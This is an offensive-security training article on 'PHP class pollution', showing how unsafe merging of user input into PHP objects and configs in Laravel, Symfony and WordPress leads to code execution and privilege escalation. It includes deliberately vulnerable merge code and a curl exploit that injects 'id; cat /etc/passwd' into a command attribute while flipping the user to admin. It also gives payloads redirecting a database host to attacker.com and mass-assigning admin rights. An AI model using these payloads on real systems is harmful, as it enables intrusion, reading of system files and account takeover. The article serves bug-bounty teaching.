Advanced levelPremium

PHP class pollution — the PHP equivalent of Prototype Pollution

How PHP class pollution (via recursive merge / object instantiation with user input) produces deserialization-like RCE in Laravel, Symfony, WordPress apps without needing gadget chains.

Gorka El BochiMay 11, 202614 min

Quick answer

PHP doesn't have a global prototype like JavaScript, but it does have class pollution: if an app does a foreach to merge user input into an existing object (or array_merge_recursive with configs), the attacker can overwrite the attributes of instances and trigger internal gadgets (RCE via exec-attributes, auth bypass via role flip, SQLi via SQL builders). You can't override methods (PHP doesn't support dynamic method dispatch), but attributes that flow to dangerous sinks are enough.


Why PHP is different from JS/Python

AspectJS prototype pollutionPython class pollutionPHP class pollution
Universal base classObject.prototypeobjectNo (stdClass isn't a base)
Global single-shot pollutionYesYesNo — object-by-object only
Override methodsYesYesNo — attributes only
Escape contextYesYesNo
Pollute attributesYesYesYes
Pollute array keysN/AYesYes

The key limitation: there's no universal base class. Pollution only affects the concrete instance/class. But if the app has a global configuration object (Service Container in Laravel, ContainerBuilder in Symfony, $wp_config in WP), polluting that single object is enough.


The canonical vulnerable pattern

php
function merge($baseObject, $userInput) {
    foreach ($userInput as $key => $value) {
        $baseObject->$key = $value;
    }
    return $baseObject;
}

$config = new AppConfig();
$userJson = json_decode(file_get_contents('php://input'));
$mergedConfig = merge($config, $userJson);
$mergedConfig->doSomething();

$userJson is controlled by the attacker. The foreach assigns any property. PHP doesn't distinguish between creating a new attribute and overwriting an existing one via $obj->$dynamic_key.

Gadget: command in an attribute

php
class AppConfig {
    public $healthCheckCommands = ['ping -c 1 127.0.0.1'];
    public $username = 'guest';

    function healthCheck() {
        foreach ($this->healthCheckCommands as $cmd) {
            passthru($cmd);  // ← sink
        }
    }

    function isAdmin() {
        return $this->username === 'admin';
    }
}

Exploit:

bash
curl -X POST http://target/api/config \
  -H 'Content-Type: application/json' \
  -d '{"healthCheckCommands":["id; cat /etc/passwd"],"username":"admin"}'

Result: RCE (via overriding healthCheckCommands) + auth bypass (username is now admin). In a single request.


Vulnerable merge variants

Built-in array_merge with casting

php
function merge($base, $input) {
    return (object) array_merge((array) $base, (array) $input);
}

Added problem: it converts to stdClass and the original methods are lost. Useful for auth bypass (overwriting attributes), not for RCE via method.

Manual foreach (the most exploitable)

php
function merge($base, $input) {
    foreach ($input as $k => $v) $base->$k = $v;
    return $base;
}

Preserves the class and methods → any internal method that uses polluted attributes triggers the gadget.

Clone + foreach

php
function merge($base, $input) {
    $obj = clone $base;
    foreach ($input as $k => $v) $obj->$k = $v;
    return $obj;
}

Same impact, the only change is that it doesn't mutate the original.

array_merge_recursive on arrays

php
$config = ['db' => ['host' => 'localhost', 'pass' => 'secret']];
$user = json_decode($input, true);  // ← associative array
$merged = array_merge_recursive($config, $user);

The attacker sends {"db":{"host":"attacker.com","pass":"override"}} → the deep recursive merge overwrites. A common pattern in endpoints that accept settings JSON.


Real frameworks — where to look

Laravel — mass assignment

php
// Eloquent Model
$user->fill($request->all());
$user->save();

If the model doesn't have $fillable defined or has $guarded = [], any column is assigned from the request. The attacker sends:

json
{"email":"victim@target.com","password":"pwned","is_admin":true,"email_verified_at":"2020-01-01"}

Result: ATO + role escalation. A classic Laravel bug class; bounty $2000-5000 in large programs with eloquent mass assignment.

Laravel — Service Container

php
app()->instance('mailer.config', $userControlledConfig);

If the attacker can call app()->instance(...) (rare, requires an endpoint that delegates) or if there's a config merge:

php
config()->set($key, $value);  // $key/$value desde request

With config()->set('app.cipher', 'attacker_string') they can break session encryption or force weak ciphers.

Symfony — ContainerBuilder

php
$container->set('cache.adapter.redis', $userInput);

Replaces a container service. If a component later uses it, the attacker intercepts.

WordPress — wp_parse_args

php
$defaults = ['post_type' => 'post', 'numberposts' => 5];
$args = wp_parse_args($_GET, $defaults);
WP_Query($args);

wp_parse_args is WP's official "merge". The attacker sends ?post_type=any&meta_query[0][key]=...&meta_query[0][value]=... and builds arbitrary queries. SQLi via args pollution.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Prototype Pollution Explotacion

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy